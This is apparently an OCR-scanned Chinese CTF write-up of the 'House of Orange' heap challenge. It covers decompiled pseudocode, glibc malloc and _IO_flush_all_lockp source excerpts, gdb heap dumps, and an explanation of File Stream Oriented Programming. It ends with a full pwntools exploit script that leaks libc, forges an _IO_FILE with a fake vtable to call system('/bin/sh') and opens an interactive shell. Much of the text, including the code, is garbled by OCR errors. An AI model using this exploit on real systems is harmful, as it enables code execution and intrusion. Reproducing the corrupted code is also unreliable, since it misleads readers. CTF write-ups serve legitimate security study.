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24

3 unsignad int size; // [rap+8h] [rbp-18h]
4 waigned int color; Hf ;
5 house *v3; f/ [rap 1
6 _DWORD *price; // "...-'.--'.'.-': [=bp-Bh]

if ( number_house > 3u )
{

10 puts("Too many house™);
111 axit(l);
i1z}

113 | vi = (house }mllac{uxlnubm
14 printfr”‘[.anqth of THAnE ) F
size = read_choice();
if { size > 0x1000 }

117 gize = 4096z

[5E:} (- -?nm_ptr - | intedjmalloc(size) )
118 If ( Ivi->name_ptr )

200 {

21 puts("Malloc error 1L1");

122 exit(l);

printf(" Name i ]
b voi G

I Cl i
12 pr.m‘.:!t Pr:.cs of Orange s BLL)§
28 rice = read_choica();
124 shcw cnla:‘{}
(30 pr.i.ntf: Color of Orange:");
1

31 lor = read chﬂlce()

bz if ( coler |= DXDDAA && (color <= 0 || color > 7) )
33

|34 puta(“No such color");

135 exit(l);
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] 4L l‘ I.I.PHJ.G.HE_LJ.J.III:H = LU }
8 return puts("You can't upgrade more");
9 if ( !gqword 203068 )
10 return puts("No such house !");
11 printf("Length of name :");
12 [n_Ien = read choice();
13 | if { n _len > 0x1000 )
14 n len = 0x1000;
15 | printf("Name:"); |
16| read_by n((void *)gword_ 203068->name_ptr, n_len); |
17| —printf("Price of Urange: ', n_len); S
18 wvl1 = (_DWORD *)gword_203068->color_ptr;
19/ *vl1 = read choice();
20 ahow_color[);
21 printf("Color of Orange: ");
22 wv3 = read choice();
23 1f ( v3 1= 56746 && (v3 <=0 || v3 > 7))
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FAREF A HRBAE, 7] LMESttop_chunki K/, FEmalloclffd B [ 4n 5 B i f HEH /N T
top_chunkf K/, ¥ Fsysmallock #4740 Bt . sysmalloc B 4% X g i A A ab 3, —Fh R E#Emmap
HR—IWNTFE, H—FEY Rtop_chunk

/*

If have mmap, and the request size meets the mmap threshold, and

the system supports mmap, and there are few enough currently

allocated mmapped regions, try to directly map this request

rather than expanding top.

*/

if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold) &&

(mp_.n_mmaps < mp_.n_mmaps_max))

{

char *mm; /* return value from mmap call*/

try_mmap:

RN B B K /N>=mp_.mmap_threshold, it &mmap. FATR REHIERAET K, —BALMEXS, XA
mmap_thresholdi1{E 5 128*1024.

A FHEH P assetmBEME, W

old_top = av->top;



old_size = chunksize (old_top);

old_end = (char *) (chunk_at_offset (old_top, old_size));

brk = snd_brk = (char *) (MORECORE_FAILURE);

J*

If not the first time through, we require old_size to be

at least MINSIZE and to have prev_inuse set.

*/

assert ((old_top == initial_top (av) && old_size == 0) ||

((unsigned long) (old_size) >= MINSIZE &&

prev_inuse (old_top) &&

((unsigned long) old_end & pagemask) == 0));

* Precondition: not enough current space to satisfy nb request */
assert ((unsigned long) (old_size) < (unsigned long) (nb + MINSIZE));
#—/Nassertih & Z R IE S Ftop_chunk_size s i 2
top_chunk_size>MINSIZE(MINISIZE)B:E &EEI R £/, KRIEANEKR/MNBIT
top_chunkFEZEHpre_in_usefitrd, BEHE AR N1

A /2 (old_end &pagemask ==0)#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))iX E&H X
I, Bz top_chunk s 220 R R B HE TUE — AN T B,

F “/asserti & E K

top_chunk_size/)»F B 1E 4 B (1) 4 A2 B A]

WU LN R Z G, SRS THATREIER LRI old_topA B T, WF
top (av) = chunk_at_offset (heap, sizeof (*heap));

set_head (top (av), (heap->size - sizeof (*heap)) | PREV_INUSE);

/* Setup fencepost and free the old top chunk with a multiple of
MALLOC_ALIGNMENT in size. */

I* The fencepost takes at least MINSIZE bytes, because it might

become the top chunk again later. Note that a footer is set

up, too, although the chunk is marked in use. */

old_size = (old_size - MINSIZE) & ~MALLOC_ALIGN_MASK;

set_head (chunk_at_offset (old_top, old_size + 2 * SIZE_SZ), 0 | PREV_INUSE);

if (old_size >= MINSIZE)



{
set_head (chunk_at offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);

set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
_int_free (av, old_top, 1);

SR, XREHfreetRERIIE, RATBTT LB E]—unsort_bin, 2RJ5 2 J5 B k2 e fn 5 2 25 & unsort_bink
NEIE, B4 Munsort_bin BRI H Sk

heapinfo

(size : Ox20ff0)
(size : 0x@)
(size : Oxef®)
x /12gx @x555555758010

@x5555557580f0:
@x555555758100:
@x555555758119:
@x553555758120:
@x555555758130:
@x555555758140:

2x0000000000000000
Ox00007 ffff7dd37b8
x0000000000000000
Ox0000000000000000
Ox0000000000000000
x0000000000000000

0x0000000000000e f 1
Ox00007 ffff7dd37b8
x0B00000000000000
0x0000000000000000
0x0000000000000000
0x0008000000000000

XFERE AT IR B S — N L BX B X I P s Rt B libesth bt T, (R IX B XH —Mrick, WRBAIHE
FIK/hRlarge_chunkfi&. mallocyErEHititold topHdEhhl e T BT (REMRIEE, HEIFERZlarge
bin& B X4 KN, BEBAENFEREFERNIEEER) , JEEWT

{in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bek = bin_at (av, victim_index);
fwd = bck-»fd;

i
victim_index = largebin_index (size);
bek = bin_at lav, victim_index):
fwd = bck=>fd;

(fwd != bck)

size |= PREV_INUSE;
¥

>size & NON_MAIN_ARENA) == @);
ng) (size) < (unsigned long) (bck->bk->size))

3 fwd = bck;
bck = bck=>bk;

victim=->fd_nextsize = fwd->fd; ol
victim-=bk nextsize = fwd-=fd-=bk nextsize;
fwd-=fd-=bk_nextsize = victim—=bk_nextsize->fd_nextsize = victim;

It UA 40 5 -2k 43 e B G 5 43 Bic K/ mlargebin(H 5t & K F512F 7 ) chunk i)i&, st 2 7T LABEHE #& libc XX AT LA
FEheap. T



x /6gx @x555555758140-0x10
@x555555758130: Ox0000000000000000 Ox00000000000004 11
0x555555758144: 0x00007ffff7dd3dc8 0x00007 ffff7dd3dc8

@x555555758156: Ox0000555555758130 Ox0009555555758130

T 40 2R 23 BE K /INAS B 51 2757 b6 2 T ik it 98 et bk

x /12gx @x555555758130
@x555555758130: Ox0000000000000000 Gx0000000000000181
@x555555758140: /Ox00007fff7dd37b8 Ox00007FFf7dd37b8
@x555555758150 : \ox0000000000000000
Bx555555758160: @x0000000000000000
@x555555758170: Ox0000000000000000
@x555555758180: Ox0000000000000000

heapinfo

(size : x20ff@)
(size : @xd3@)
(size : @xd3@)

2. HhFFHE
File Stream Oriented Programming

BATEnE B ropBiretn Oriented Programming, #8-4 H 3:File Stream Oriented Programming& —AMEHE K. 2
—MEFEFRER T, RALTARELHHFile StreamREME T .

BATEE T Emallockt 4215 B AL 2, malloc_printerri&mallocH F S $T EP4E 2 i 28 3

(__builtin_expect (fastbin_index (chunksize (wvictim)) != idx, @)
{

errstr = "malloc(): memory corruption (fast)";
errout:

malloc_printerr (check_action, errstr, chunkZmem (victim));

NULL;

¥

malloc_printerr} 522 H__libc_messagei #i 2 J5 i Faborteki £, abortekZH A T
_10 flush_all _lockp, XEHEAZIO FILE ALLEMEMSEW, RAKREREHBR TR

Hp A2 TIO_FILEXMRHHIER, WRIAIGBBHKIO_FILER AB M2 T LL—ERE L SFiRE.
IO_FILE_ALLE—MEMHIO_FILE plusiigsitatast, ST ER, BASHATERT B, KBE &
BT,



_flags = Oxfbad2086,

_I0_read_ptr = @x0,

_I0_read_end = @x@,

_I0_read_base = 0x0@,

_I0_write_base = @x@,

_I0_write_ptr = 0x@,

_I0_write_end = 0x0,

_I0_buf_base = @x@,

_I0_buf_end = 0x0,

_I0_save_base = 0x0,

~I0_backup_base = @0x0,

_I0_save_end = @x@,

_markers = @x@,

_chain = @x7ffff7dd4400 <_I0_2_1_stdout_>,
_fileno = @x2,

_flags2 = 0x0,

_old_offset = OxFFFFFFFFFFFFFfff,
_cur_column = @x0,

_vtable_offset = Ox@,

_shortbuf = "",

~lock = @x7ffff7dd59dd <_I0_stdfile_2_lock>,
_offset = OxFFFFFFFeFeFerefs,

_codecvt = @x@,

_wide_data = Ox7ffff7dd42a0 <_I0_wide_data_2>,
_freeres_list = 0x0,

_freeres_buf = @x0,

_freeres_size = 0x0,

_mode = @x0@,

_unused2 = '\@@@' <repeats 19 times>

}
vtable = @x7ffff7dd26a@ <_I0_file_jumps>

}
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n EARRSE R, B2 Ebk+0x10H# 75 5 A A unsort_bink ik,

BAVES P9 A7 T ORI — T R WA HEAT

Wik 2 G, KBio file all#iEihmk T 8 Fitop_chunk i34t it 18] #uhk A7 Fmain_arena.
HRBATR T EZ HImain_arenafti WA R, ZE/DSHEHRAITH, BLBELLERE?

XEEREZEN o filel M, I0_FILEE#WHH —AF B RchianTB, B T0x60mB AL thig KR T —
NMO_FILEZS #ytk, FATaRA UZHIEXAN 7B, BiEkigEio_flefirE, EMITR RSN

IXREH1E SUBE R Bsmallchunk i) 8], 7E¥7 Elunsort_bink &% J& T-small_binfichunkit 4T 7 10 F#4E .

XANEHEIO_FILE_allfg | ) IE £ main_arenafbins B EunsortbinfI 2 &, B4 Ox604 E#F &, smallchunk
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while (fp = NULL)

{



fp = fp->_chain;

if (((fp->_mode <= 0 && fp->_10_write_ptr > fp->_10_write_base)
#if defined _LIBC || defined GLIBCPP_USE_WCHAR T

|| (_ IO vtable offset (fp) ==

&& fp->_mode > 0 && (fp->_wide_data->_|O_write_ptr

> fp->_wide_data->_|0_write_base))

#endif

)

&& _1I0_OVERFLOW (fp, EOF) == EOF)

A S — ANy BefEmain_arenafilO_FILE_plusZ# fifp->mode S E A A E R, HiaiBidchainsBbi% 2w T —
AMO_FILE plusift 2B A2 87 ¥ B Munsortbin, A5 & EH 2 — F &4

fp->mode>0

_lO_vtable_offset (fp) ==0

fp->_wide _data-> |0 _write_ptr > fp->_ wide _data-> 10 _write_base
X B ER R Ewide_datallO_wirte ptrits Riread_endih 7] PA SR S5 ot &8 F BB R +Ox 18RS AL I BRI L T
OxFE # Hexp

#coding:utf-8

from zio import *

from pwn import *

import mypwn

def menu(io,choice):

io.read_until("Your choice :')

io.writeline(str(choice))

def build(io,len,name,price,color):

menu(io, 1)

io.read_until('name :')

io.writeline(str(len))

io.read_until('Name :")

io.write(name)

io.read_until('Price of Orange:')



io.writeline(str(price))
io.read_until(" Orange:")
io.writeline(str(color))
def see(io):

menu(io,2)

def upgrade(io,nlen,nname,nprice,ncolor):
menu(io,3)

io.read_until('name :")
io.writeline(str(nlen))
io.read_until('Name:")

io.write(nname)

io.read_until('Price of Orange:')
io.writeline(str(nprice))
io.read_until(" Orange:")
io.writeline(str(ncolor))

if _name__ ==' main

binary_path = "./houseoforange"

r_m= COLORED(RAW, "green")

w_m = COLORED(RAW, "blue")

target = binary_path

bin=ELF(binary_path)

io = Zio(target, timeout = 9999, print_read = r_m, print_write = w_m)
if target==binary_path:
|=ELF("/lib/x86_64-linux-gnu/libc.so0.6")
offset_main_arena=Il.symbols[' __malloc_hook']+0x20
else:

pass

#I=ELF(")

#offset_main_arena
build(io,0x80,'simp1e’,0x1234,0xddaa)

fake_color=p32(666)+p32(0xddaa)



overflow_name='a"0x90+fake_color+p64(0)*2+p64(0xf31)
upgrade(io,0xb1,overflow_name,666,0xddaa)
build(io,0x1000,'1'+"n',0x1234,0xddaa)
build(io,0x400,"a"*8,199,2)

see(io)

io.read_until('Name of house : '+'a”*8)
data=io.read_until("\n")[:-1]

io.gdb_hint()

heap_ptr=mypwn.uu64(data)
real_main_arena=heap_ptr-Ox668
mypwn.log(‘heap_ptr',heap_ptr)
mypwn.log('real_main_arena',real_main_arena)
libc_base=real_main_arena-offset_main_arena
real_system=libc_base+|.symbols['system]]
upgrade(io,0x400,"b"“0x10,666,2)

see(io)

io.read_until('Name of house : '+'b™0x10)
data=io.read_until("\n")[:-1]
heap_ptr=mypwn.uu64(data)
mypwn.log(‘heap_ptr',heap_ptr)
mypwn.log('_IO_list_all',l.symbols['_IO _list_all)
io_list_all=libc_base+|.symbols[' 10 _list_all']
vtable_addr=heap_ptr + 0x530-8
payload="x"0x400+p64(0)+p64(0x21)+p32(666)+p32(0xddaa)+p64(0)
fake_chunk="/bin/sh\x00'+p64(0x61 #why ? io_file?
fake_chunk+=p64(0xddaa)+p64(io_list_all-0x10)
fake_chunk=fake_chunk.ljust(0xa0,\x00")
fake_chunk+=p64(heap_ptr+0x420)
fake_chunk=fake_chunk.ljust(0xc0,"x00")
fake_chunk+=p64(1)

payload+=fake_chunk



payload += p64(0)

payload += p64(0)

payload += p64(vtable_addr)

payload += p64(1)

payload += p64(2)

payload += p64(3)

payload += p64(0)*3 # vtable

payload += p64(real_system)

upgrade(io,0x800,payload,666,2)

io.interact()
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